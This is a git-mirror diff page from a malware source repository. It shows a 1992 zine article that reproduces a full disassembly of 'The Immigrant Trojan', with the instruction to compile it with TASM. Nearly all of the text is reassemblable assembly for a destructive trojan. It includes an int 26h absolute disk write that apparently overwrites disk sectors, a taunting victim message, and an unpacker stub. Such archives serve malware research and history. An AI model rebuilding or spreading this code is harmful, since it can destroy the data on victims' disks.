mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,310 @@
|
||||
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #1 - YAM '92
|
||||
|
||||
Article Title: The Immigrant Trojan Disassembly
|
||||
Author: Natas Kaupas
|
||||
|
||||
|
||||
;*****************************************************************************
|
||||
; Dissasembly of The Immigrant Trojan (TIT)
|
||||
; Dissasembly by Dark Angel
|
||||
;
|
||||
; Just save this and compile it with TASM.
|
||||
;*****************************************************************************
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
data_6e equ 2000h ; (0010:2000=89h)
|
||||
data_8e equ 0Ch ; (8096:000C=0)
|
||||
data_10e equ 87F8h ; (8096:87F8=0)
|
||||
data_11e equ 0CDF3h ; (8096:CDF3=0)
|
||||
|
||||
; Tasm 1.00 will output an extra NOP (90h) on forward memory references
|
||||
; if the segment is declared after the reference. Segments are declared
|
||||
; prior to any code to allow re-assembly.
|
||||
|
||||
seg_B segment byte public
|
||||
seg_B ends
|
||||
|
||||
seg_C segment byte public
|
||||
seg_C ends
|
||||
|
||||
|
||||
;-------------------------------------------------------------- seg_a ----
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a , ds:seg_a , ss:stack_seg_c
|
||||
|
||||
db 0FDh,0FFh, 00h,0FFh,0F8h, 0Eh
|
||||
db 0B8h, 05h, 00h, 8Eh,0D8h,0BDh
|
||||
db 01h, 00h,0BAh, 0Dh, 00h,0B4h
|
||||
db 0FFh,0FFh
|
||||
db 9
|
||||
db 0CDh, 21h, 80h, 3Eh, 0Ch, 00h
|
||||
db 1Ah, 7Dh, 19h,0B4h, 05h,0B5h
|
||||
db 00h,0B6h, 00h,0E1h, 79h, 8Ah
|
||||
db 16h,0F3h,0CDh, 13h,0BAh, 6Ah
|
||||
db 0E6h,0FEh, 06h,0F8h, 87h,0F3h
|
||||
db 0EBh,0E0h,0B0h, 02h
|
||||
loc_2:
|
||||
mov cx,2BCh
|
||||
mov dx,0FFC9h
|
||||
stc ; Set carry flag
|
||||
mov ds,[di+63h]
|
||||
mov bx,[di+37h]
|
||||
int 26h ; Absolute disk write, drive al
|
||||
mov dx,0E326h
|
||||
mov ax,0F000h
|
||||
dec word ptr [si-5]
|
||||
add [bp+si],al
|
||||
or ax,440Ah
|
||||
db 65h, 63h, 6Fh, 64h, 69h, 6Eh
|
||||
db 0FFh, 7Fh
|
||||
db 'g system files $'
|
||||
db 0F8h, 7Fh,0E7h
|
||||
db 'Ya', 27h, ' been hit'
|
||||
db 0F8h,0FFh,0F7h
|
||||
db 'y The Immigr'
|
||||
db 0E1h, 21h, 61h, 6Eh,0EFh, 54h
|
||||
db 72h, 6Fh, 6Ah,0F8h, 20h,0CEh
|
||||
db 0C3h,0C4h, 65h, 64h,0E2h, 6Fh
|
||||
db 78h,0C3h
|
||||
db 69h
|
||||
|
||||
locloop_3:
|
||||
jmp bx ;*Register jump
|
||||
db 'a. [C.S.A.]'
|
||||
db 0BEh, 2Eh, 02h, 00h, 24h, 00h
|
||||
db 0F0h
|
||||
db 13 dup (0)
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
;-------------------------------------------------------------- seg_b ----
|
||||
|
||||
seg_b segment byte public
|
||||
assume cs:seg_b , ds:seg_b , ss:stack_seg_c
|
||||
|
||||
db 10h, 00h
|
||||
data_13 dw 0
|
||||
data_14 dw 100h
|
||||
data_15 dw 0Ch
|
||||
data_16 dw 0Ch
|
||||
data_17 dw 12h
|
||||
data_18 dw 15Ch
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;
|
||||
; Program Entry Point
|
||||
;
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
|
||||
tit proc far
|
||||
|
||||
start:
|
||||
push es
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,data_18 ; (80B2:000C=15Ch)
|
||||
mov si,cx
|
||||
dec si
|
||||
mov di,si
|
||||
mov bx,ds
|
||||
add bx,data_17 ; (80B2:000A=12h)
|
||||
mov es,bx
|
||||
std ; Set direction flag
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
push bx
|
||||
mov ax,2Bh
|
||||
push ax
|
||||
retf
|
||||
mov bp,cs:data_16 ; (80B2:0008=0Ch)
|
||||
mov dx,ds
|
||||
loc_6:
|
||||
mov ax,bp
|
||||
cmp ax,1000h
|
||||
jbe loc_7 ; Jump if below or =
|
||||
mov ax,1000h
|
||||
loc_7:
|
||||
sub bp,ax
|
||||
sub dx,ax
|
||||
sub bx,ax
|
||||
mov ds,dx
|
||||
mov es,bx
|
||||
mov cl,3
|
||||
shl ax,cl ; Shift w/zeros fill
|
||||
mov cx,ax
|
||||
shl ax,1 ; Shift w/zeros fill
|
||||
dec ax
|
||||
dec ax
|
||||
mov si,ax
|
||||
mov di,ax
|
||||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||
or bp,bp ; Zero ?
|
||||
jnz loc_6 ; Jump if not zero
|
||||
cld ; Clear direction
|
||||
mov es,dx
|
||||
mov ds,bx
|
||||
xor si,si ; Zero register
|
||||
xor di,di ; Zero register
|
||||
mov dx,10h
|
||||
lodsw ; String [si] to ax
|
||||
mov bp,ax
|
||||
loc_8:
|
||||
shr bp,1 ; Shift w/zeros fill
|
||||
dec dx
|
||||
jnz loc_9 ; Jump if not zero
|
||||
lodsw ; String [si] to ax
|
||||
mov bp,ax
|
||||
mov dl,10h
|
||||
loc_9:
|
||||
jnc loc_10 ; Jump if carry=0
|
||||
movsb ; Mov [si] to es:[di]
|
||||
jmp short loc_8 ; (0069)
|
||||
loc_10:
|
||||
xor cx,cx ; Zero register
|
||||
shr bp,1 ; Shift w/zeros fill
|
||||
dec dx
|
||||
jnz loc_11 ; Jump if not zero
|
||||
lodsw ; String [si] to ax
|
||||
mov bp,ax
|
||||
mov dl,10h
|
||||
loc_11:
|
||||
jc loc_14 ; Jump if carry Set
|
||||
shr bp,1 ; Shift w/zeros fill
|
||||
dec dx
|
||||
jnz loc_12 ; Jump if not zero
|
||||
lodsw ; String [si] to ax
|
||||
mov bp,ax
|
||||
mov dl,10h
|
||||
loc_12:
|
||||
rcl cx,1 ; Rotate thru carry
|
||||
shr bp,1 ; Shift w/zeros fill
|
||||
dec dx
|
||||
jnz loc_13 ; Jump if not zero
|
||||
lodsw ; String [si] to ax
|
||||
mov bp,ax
|
||||
mov dl,10h
|
||||
loc_13:
|
||||
rcl cx,1 ; Rotate thru carry
|
||||
inc cx
|
||||
inc cx
|
||||
lodsb ; String [si] to al
|
||||
mov bh,0FFh
|
||||
mov bl,al
|
||||
jmp locloop_15 ; (00BB)
|
||||
loc_14:
|
||||
lodsw ; String [si] to ax
|
||||
mov bx,ax
|
||||
mov cl,3
|
||||
shr bh,cl ; Shift w/zeros fill
|
||||
or bh,0E0h
|
||||
and ah,7
|
||||
jz loc_16 ; Jump if zero
|
||||
mov cl,ah
|
||||
inc cx
|
||||
inc cx
|
||||
|
||||
locloop_15:
|
||||
mov al,es:[bx+di]
|
||||
stosb ; Store al to es:[di]
|
||||
loop locloop_15 ; Loop if cx > 0
|
||||
|
||||
jmp short loc_8 ; (0069)
|
||||
loc_16:
|
||||
lodsb ; String [si] to al
|
||||
or al,al ; Zero ?
|
||||
jz loc_18 ; Jump if zero
|
||||
cmp al,1
|
||||
je loc_17 ; Jump if equal
|
||||
mov cl,al
|
||||
inc cx
|
||||
jmp short locloop_15 ; (00BB)
|
||||
loc_17:
|
||||
mov bx,di
|
||||
and di,0Fh
|
||||
add di,data_6e ; (0010:2000=89h)
|
||||
mov cl,4
|
||||
shr bx,cl ; Shift w/zeros fill
|
||||
mov ax,es
|
||||
add ax,bx
|
||||
sub ax,200h
|
||||
mov es,ax
|
||||
mov bx,si
|
||||
and si,0Fh
|
||||
shr bx,cl ; Shift w/zeros fill
|
||||
mov ax,ds
|
||||
add ax,bx
|
||||
mov ds,ax
|
||||
jmp loc_8 ; (0069)
|
||||
db 41h, 43h, 2Dh, 44h, 43h
|
||||
loc_18:
|
||||
push cs
|
||||
pop ds
|
||||
mov si,offset data_19 ; (80B2:0158=11h)
|
||||
pop bx
|
||||
add bx,10h
|
||||
mov dx,bx
|
||||
xor di,di ; Zero register
|
||||
loc_19:
|
||||
lodsb ; String [si] to al
|
||||
or al,al ; Zero ?
|
||||
jz loc_21 ; Jump if zero
|
||||
mov ah,0
|
||||
loc_20:
|
||||
add di,ax
|
||||
mov ax,di
|
||||
and di,0Fh
|
||||
mov cl,4
|
||||
shr ax,cl ; Shift w/zeros fill
|
||||
add dx,ax
|
||||
mov es,dx
|
||||
add es:[di],bx
|
||||
jmp short loc_19 ; (0109)
|
||||
loc_21:
|
||||
lodsw ; String [si] to ax
|
||||
or ax,ax ; Zero ?
|
||||
jnz loc_22 ; Jump if not zero
|
||||
add dx,0FFFh
|
||||
mov es,dx
|
||||
jmp short loc_19 ; (0109)
|
||||
loc_22:
|
||||
cmp ax,1
|
||||
jne loc_20 ; Jump if not equal
|
||||
mov ax,bx
|
||||
mov di,data_14 ; (80B2:0004=100h)
|
||||
mov si,data_15 ; (80B2:0006=0Ch)
|
||||
add si,ax
|
||||
add data_13,ax ; (80B2:0002=0)
|
||||
sub ax,10h
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
xor bx,bx ; Zero register
|
||||
cli ; Disable interrupts
|
||||
mov ss,si
|
||||
mov sp,di
|
||||
sti ; Enable interrupts
|
||||
jmp dword ptr cs:[bx] ;*
|
||||
data_19 db 11h
|
||||
db 0, 1, 0
|
||||
db 292 dup (0)
|
||||
|
||||
tit endp
|
||||
|
||||
seg_b ends
|
||||
|
||||
|
||||
|
||||
;--------------------------------------------------------- stack_seg_c ---
|
||||
|
||||
stack_seg_c segment word stack 'STACK'
|
||||
|
||||
db 128 dup (0)
|
||||
|
||||
stack_seg_c ends
|
||||
|
||||
end start
|
||||
|
||||
|
||||
Reference in New Issue
Block a user